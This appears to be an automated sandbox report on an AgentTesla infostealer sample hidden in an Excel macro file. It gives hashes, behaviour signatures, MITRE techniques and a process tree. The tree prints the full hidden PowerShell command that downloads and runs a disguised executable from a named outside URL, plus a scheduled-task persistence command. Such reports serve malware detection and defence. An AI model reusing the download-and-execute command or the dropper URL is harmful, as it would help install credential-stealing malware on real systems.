agenttesla | ffba42d34595885f6f5432f438ddb49d24539c1ba0e622f0f4ebd4d730c03a4e

General

Target

Shipping-Documents.xlsm
Size

152KB
MD5

ffaffe494f31800a47057a82843480c5
SHA1

8a0695bc3f0776a769693ff22db7cd1e3ed0c177
SHA256

ffba42d34595885f6f5432f438ddb49d24539c1ba0e622f0f4ebd4d730c03a4e
SHA512

7e3ad55095d6859192596254ab7464c4a8368cc98049e4e8d45158fd16f50bb99ab6c3e45c7761f4655255a366c02da236a5298b35f723668120652826cfd2c9

Score

10^/10

spyware keylogger trojan stealer agenttesla

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://shopcart.indbytes.com/cig/myori.jpg

Signatures

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

112 EXCEL.EXE
112 EXCEL.EXE
112 EXCEL.EXE

pid	process
112	EXCEL.EXE
112	EXCEL.EXE
112	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1048	112	cmd.exe	EXCEL.EXE

Loads dropped DLL 1 IoCs

Processes:

csle.exe

pid process

1876 csle.exe
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Office loads VBA resources, possible macro or embedded object present
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

112 EXCEL.EXE
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 1512 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

csle.execsle.exe

pid process

1876 csle.exe
1644 csle.exe
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

pid	process
1876	csle.exe

pid	process
112	EXCEL.EXE

flow	pid	process
4	1512	powershell.exe

pid	process
1876	csle.exe
1644	csle.exe

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.execsle.exe

description	pid	process	target process
PID 112 wrote to memory of 1048	112	EXCEL.EXE	cmd.exe
PID 112 wrote to memory of 1048	112	EXCEL.EXE	cmd.exe
PID 112 wrote to memory of 1048	112	EXCEL.EXE	cmd.exe
PID 1048 wrote to memory of 1512	1048	cmd.exe	powershell.exe
PID 1048 wrote to memory of 1512	1048	cmd.exe	powershell.exe
PID 1048 wrote to memory of 1512	1048	cmd.exe	powershell.exe
PID 1512 wrote to memory of 1876	1512	powershell.exe	csle.exe
PID 1512 wrote to memory of 1876	1512	powershell.exe	csle.exe
PID 1512 wrote to memory of 1876	1512	powershell.exe	csle.exe
PID 1512 wrote to memory of 1876	1512	powershell.exe	csle.exe
PID 1876 wrote to memory of 1788	1876	csle.exe	schtasks.exe
PID 1876 wrote to memory of 1788	1876	csle.exe	schtasks.exe
PID 1876 wrote to memory of 1788	1876	csle.exe	schtasks.exe
PID 1876 wrote to memory of 1788	1876	csle.exe	schtasks.exe
PID 1876 wrote to memory of 1644	1876	csle.exe	csle.exe
PID 1876 wrote to memory of 1644	1876	csle.exe	csle.exe
PID 1876 wrote to memory of 1644	1876	csle.exe	csle.exe
PID 1876 wrote to memory of 1644	1876	csle.exe	csle.exe
PID 1876 wrote to memory of 1644	1876	csle.exe	csle.exe
PID 1876 wrote to memory of 1644	1876	csle.exe	csle.exe
PID 1876 wrote to memory of 1644	1876	csle.exe	csle.exe
PID 1876 wrote to memory of 1644	1876	csle.exe	csle.exe
PID 1876 wrote to memory of 1644	1876	csle.exe	csle.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

csle.exe

description pid process target process

PID 1876 set thread context of 1644 1876 csle.exe csle.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1788 schtasks.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.execsle.execsle.exe

description pid process

Token: SeDebugPrivilege 1512 powershell.exe
Token: SeDebugPrivilege 1876 csle.exe
Token: SeDebugPrivilege 1644 csle.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.execsle.execsle.exe

pid process

1512 powershell.exe
1512 powershell.exe
1876 csle.exe
1644 csle.exe
1644 csle.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

description	pid	process	target process
PID 1876 set thread context of 1644	1876	csle.exe	csle.exe

pid	process
1788	schtasks.exe

description	pid	process
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeDebugPrivilege	1876	csle.exe
Token: SeDebugPrivilege	1644	csle.exe

pid	process
1512	powershell.exe
1512	powershell.exe
1876	csle.exe
1644	csle.exe
1644	csle.exe

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Shipping-Documents.xlsm
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:112

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://shopcart.indbytes.com/cig/myori.jpg',$env:Temp+'\csle.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\csle.exe')
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://shopcart.indbytes.com/cig/myori.jpg',$env:Temp+'\csle.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\csle.exe')
3⤵
- Blacklisted process makes network request
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1512

C:\Users\Admin\AppData\Local\Temp\csle.exe
"C:\Users\Admin\AppData\Local\Temp\csle.exe"
4⤵
- Loads dropped DLL
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1876

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eKYWQxlZZ" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC6D7.tmp"
5⤵
- Creates scheduled task(s)
PID:1788

C:\Users\Admin\AppData\Local\Temp\csle.exe
"{path}"
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1644

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Credentials in Files

3

T1081

Discovery

Lateral Movement

Collection

Data from Local System

3

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\csle.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\csle.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\csle.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC6D7.tmp

Download Submit
\Users\Admin\AppData\Local\Temp\csle.exe

Download Submit
memory/112-0-0x000000000043A000-0x000000000043C000-memory.dmp

Filesize
8KB

Download
memory/112-2-0x0000000000439000-0x000000000043A000-memory.dmp

Filesize
4KB

Download
memory/1048-3-0x0000000000000000-mapping.dmp

Download
memory/1512-4-0x0000000000000000-mapping.dmp

Download
memory/1644-17-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download
memory/1644-16-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download
memory/1644-13-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download
memory/1644-14-0x000000000044718E-mapping.dmp

Download
memory/1788-10-0x0000000000000000-mapping.dmp

Download
memory/1876-9-0x0000000000000000-0x0000000000000000-disk.dmp

Download
memory/1876-5-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads